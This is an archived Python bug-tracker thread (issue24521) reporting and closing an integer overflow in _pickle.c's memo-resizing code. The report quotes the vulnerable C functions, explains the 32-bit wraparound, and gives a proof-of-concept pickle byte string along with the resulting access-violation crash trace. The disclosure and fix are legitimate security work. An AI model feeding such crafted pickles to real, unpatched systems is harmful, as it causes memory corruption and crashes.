[issue24521] Integer overflow in _pickle.c

2015-06-28 Thread Arfrever Frehtes Taifersar Arahesis

Changes by Arfrever Frehtes Taifersar Arahesis :


--
nosy: +Arfrever

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue24521] Integer overflow in _pickle.c

2015-06-27 Thread Benjamin Peterson

Benjamin Peterson added the comment:

https://hg.python.org/cpython/rev/acd5c9118931

--
resolution:  -> fixed
status: open -> closed

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue24521] Integer overflow in _pickle.c

2015-06-27 Thread Benjamin Peterson

New submission from Benjamin Peterson:

Reported by Kurucsai Istvan on the security list:

I. Summary

There is an integer overflow in the _Unpickler_ResizeMemoList function in 
_pickle.c. It is reachable e.g. via the LONG_BINPUT opcode.


II. Source code

The functions in question:
static int
load_long_binput(UnpicklerObject *self)
{
PyObject *value;
Py_ssize_t idx;
char *s;

if (_Unpickler_Read(self, &s, 4) < 0)
return -1;
<>
idx = calc_binsize(s, 4);
1.  if (idx < 0) {
PyErr_SetString(PyExc_ValueError,
"negative LONG_BINPUT argument");
return -1;
}

return _Unpickler_MemoPut(self, idx, value);
}

static int
_Unpickler_MemoPut(UnpicklerObject *self, Py_ssize_t idx, PyObject *value)
{
PyObject *old_item;

if (idx >= self->memo_size) {
2.  if (_Unpickler_ResizeMemoList(self, idx * 2) < 0)
return -1;
assert(idx < self->memo_size);
}
<>
}

static int
_Unpickler_ResizeMemoList(UnpicklerObject *self, Py_ssize_t new_size)
{
<>
3.  memo = PyMem_REALLOC(self->memo, new_size * sizeof(PyObject *));
if (memo == NULL) {
PyErr_NoMemory();
return -1;
}
self->memo = memo;
4.  for (i = self->memo_size; i < new_size; i++)
self->memo[i] = NULL;
self->memo_size = new_size;
return 0;
}

1. 0 < idx < PY_SSIZE_T_MAX, we choose idx = 0x2000
2. and 3. together multiply idx by 8 on a 32 bit arch, 0x2000 * 8 wraps to 
0.
4. buffer overflow


III. Proof of concept

The bug can be triggered using the following pickle:
d:\Python34\python.exe -m pickletools G:\dump\python\memo1
0: IINT1
3: rLONG_BINPUT 536870912
8: .STOP
highest protocol among opcodes = 1

Running the following causes the crash below (also tested on 3.5.0b2).
Python 3.4.3 (v3.4.3:9b73f1c3e601, Feb 24 2015, 22:43:06) [MSC v.1600 32 bit 
(Intel)] on win32
Type "help", "copyright", "credits" or "license" for more information.
>>> import pickle
>>> pickle.loads(b'I1\nr\x00\x00\x00\x20\x2e')

(1600.2664): Access violation - code c005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=d3c4 ebx=1d84d1d0 ecx=778c28ac edx=01e700f0 esi=001f8a48 edi=4000
eip=1d5ce5d3 esp=0057f65c ebp=0057f668 iopl=0 nv up ei ng nz na po cy
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b efl=00010283
python34!_Unpickler_ResizeMemoList+0x33:
1d5ce5d3 c70482  mov dword ptr [edx+eax*4],0 
ds:002b:01ea5000=
0:000> kb
ChildEBP RetAddr  Args to Child  
0057f658 1d5ce627 00301ff4 0004 0057f684 
python34!_Unpickler_ResizeMemoList+0x33 
[c:\users\martin\34\python\modules\_pickle.c @ 1275]
0057f668 1d5d3503 2000 00301ff3 001f8a48 python34!_Unpickler_MemoPut+0x17 
[c:\users\martin\34\python\modules\_pickle.c @ 1298]
0057f684 1d5d4027 001f8a48 0059b440 001f8a48 python34!load_long_binput+0x73 
[c:\users\martin\34\python\modules\_pickle.c @ 5653]
0057f6a0 1d5d4e44 0059b440  0057f6dc python34!load+0x2c7 
[c:\users\martin\34\python\modules\_pickle.c @ 6134]
0057f6b0 1d5d5461 00301fe0 0001 1d6ff9d0 python34!_pickle_loads_impl+0x54 
[c:\users\martin\34\python\modules\_pickle.c @ 7060]
0057f6dc 1d674f15 00597780 002cf6b0  python34!_pickle_loads+0x61 
[c:\users\martin\34\python\modules\clinic\_pickle.c.h @ 540]
0057f6fc 1d6c591f 0059b440 002cf6b0  python34!PyCFunction_Call+0x65 
[c:\users\martin\34\python\objects\methodobject.c @ 99]
0057f72c 1d6c79d9 0057f760  002d1d40 python34!call_function+0x28f 
[c:\users\martin\34\python\python\ceval.c @ 4237]
0057f7a0 1d6c89fd 002ff7b0  01e55958 python34!PyEval_EvalFrameEx+0x1ff9 
[c:\users\martin\34\python\python\ceval.c @ 2840]
0057f7dc 1d6c8b64 002d1d40 002ff7b0 002960f8 python34!PyEval_EvalCodeEx+0x55d 
[c:\users\martin\34\python\python\ceval.c @ 3588]
0057f810 1d6f1f7d 002d1d40 002960f8 002960f8 python34!PyEval_EvalCode+0x24 
[c:\users\martin\34\python\python\ceval.c @ 780]
0057f82c 1d6f39fd 01e5e098 002960f8 002960f8 python34!run_mod+0x2d 
[c:\users\martin\34\python\python\pythonrun.c @ 2180]
0057f868 1d6f4520 703c3008 0030a728 0057f8f4 
python34!PyRun_InteractiveOneObject+0x25d 
[c:\users\martin\34\python\python\pythonrun.c @ 1446]
0057f88c 1d6f459d 703c3008 1d706acc 0057f8f4 
python34!PyRun_InteractiveLoopFlags+0xc0 
[c:\users\martin\34\python\python\pythonrun.c @ 1324]
0057f8a8 1d5fdc75 703c3008 1d706acc  python34!PyRun_AnyFileExFlags+0x2d 
[c:\users\martin\34\python\python\pythonrun.c @ 1286]
0057f8c8 1d5fe336 703c3008 0057f8f4 1cd73378 python34!run_file+0x95 
[c:\users\martin\34\python\modules\main.c @ 319]
0057f940 1cd71184 0001 01fd1420 01fd5be8 python34!Py_Main+0x696 
[c:\users\martin\34\python\modules\main.c @ 751]
0057f984 7621337a 7efde000 0057f9d0 778b92e2 python!__tmainCRTStartup+0x122 
[f:\dd\vctools\crt_bld\self_x86\crt\src\crtexe.c @ 552